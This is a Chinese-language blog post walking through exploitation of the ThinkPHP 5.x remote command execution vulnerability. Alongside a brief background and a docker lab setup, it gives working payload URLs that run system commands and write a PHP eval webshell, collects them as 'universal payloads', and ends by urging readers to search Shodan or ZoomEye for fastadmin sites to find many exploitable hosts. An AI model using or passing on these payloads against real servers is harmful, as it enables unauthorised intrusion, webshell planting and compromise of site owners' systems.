about 1 results (0.01 seconds)

ThinkPHP 5.x 远程命令执行漏洞利用过程

by Liuker Dec 20,2018 14:28:02 24,810 views

0x0 背景

2018 年 12 月 9 日,ThinkPHP 官方公众号发布了一个更新通知,包含了一个 5.x 系列(v5.0.23 及 v5.1.31 以下版本)所有版本存在被 GetShell 的高风险漏洞。


图1 更新公告

影响版本

  • ThinkPHP 5.0.5 - 5.0.22
  • ThinkPHP 5.1.0 - 5.1.30

ThinkPHP 5.x 版本中没有对路由中的控制器进行严格过滤,在存在adminindex模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,从而被 GetShell。

至于漏洞原理,可参考@水泡泡的分析https://xz.aliyun.com/t/3570

0x2 环境

漏洞环境:https://git.laucyun.com/docker/thinkphp-5.x-poc.git

先将项目克隆下来,然后进入thinkphp-5.x-poc目录,执行docker-compose up -d命令,如图2所示:


图2 漏洞环境

0x03 利用

发现在thinkphp\library\think\App.phpinvokeFunction方法(继承thinkphp\library\think\Container.phpContainer类)中可以执行任意的命令,而这个方法的声明为:

invokeFunction(function, vars[])

所以,构造的 Payload 如下:

http://192.168.20.103/public/index.php?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=ls%20-al

即执行call_user_func_array("system", ['ls -al'])

执行结果如图3所示:


图3 列举目录下所有文件

成功执行了系统命令,那接下来就尝试写入 WebShell。

发现在thinkphp\library\think\template\driver\file.php中的write方法可以写入任意内容,而这个方法的声明为:

write($cacheFile, $content)

参数:

  • cacheFile:文件名
  • content:文件内容

所以,构造的Payload如下:

http://192.168.20.103/public/index.php?s=index/%5Cthink%5Ctemplate%5Cdriver%5Cfile/write?cacheFile=shell.php&content=%3C?php%20@eval($_POST%5B'caidao'%5D);?%3E

invokeFunction方法也可写入webshell:

http://127.0.0.1/public/index.php?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=echo%20%22%3C?php%20@eval(%5C$_POST%5B'caidao'%5D);?%20%3E%20%22%3Eshell.php

执行结果如图4所示:


图4 写入WebShell

呐呢,没返回?难道写入 WebShell 失败了?查看一下文件变化吧,如图5所示:


图5 成功写入webshell

操起菜刀,搞起来。。。


图6 菜刀连接成功

接下来的事情,就无需多说了,想怎么浪就怎么浪。。。

0x4 Payload

通用 Payload:

http://127.0.0.1/public/index.php?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=echo%20%22%3C?php%20@eval(%5C$_POST%5B'caidao'%5D);?%20%3E%20%22%3Eshell.php

http://127.0.0.1/public/index.php?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D= file_put_contents&vars%5B1%5D%5B%5D=echo%20%22%3C?php%20@eval(%5C$_POST%5B'caidao'%5D);?%20%3E%20%22%3Eshell.php

ThinkPHP v5.1.x:

http://127.0.0.1/public/index.php?s=index/%5Cthink%5Ctemplate%5Cdriver%5Cfile/write?cacheFile=shell.php&content=%3C?php%20@eval($_POST%5B'caidao'%5D);?%3E

最后,告诉大家一个小秘密哦,在 Shodan 或 ZoomEye 上搜fastadmin(基于 ThinkPHP 5)的框架,可以找到大量ShellShushing FaceShushing FaceShushing Face

0x5 参考

...

Tags Read More..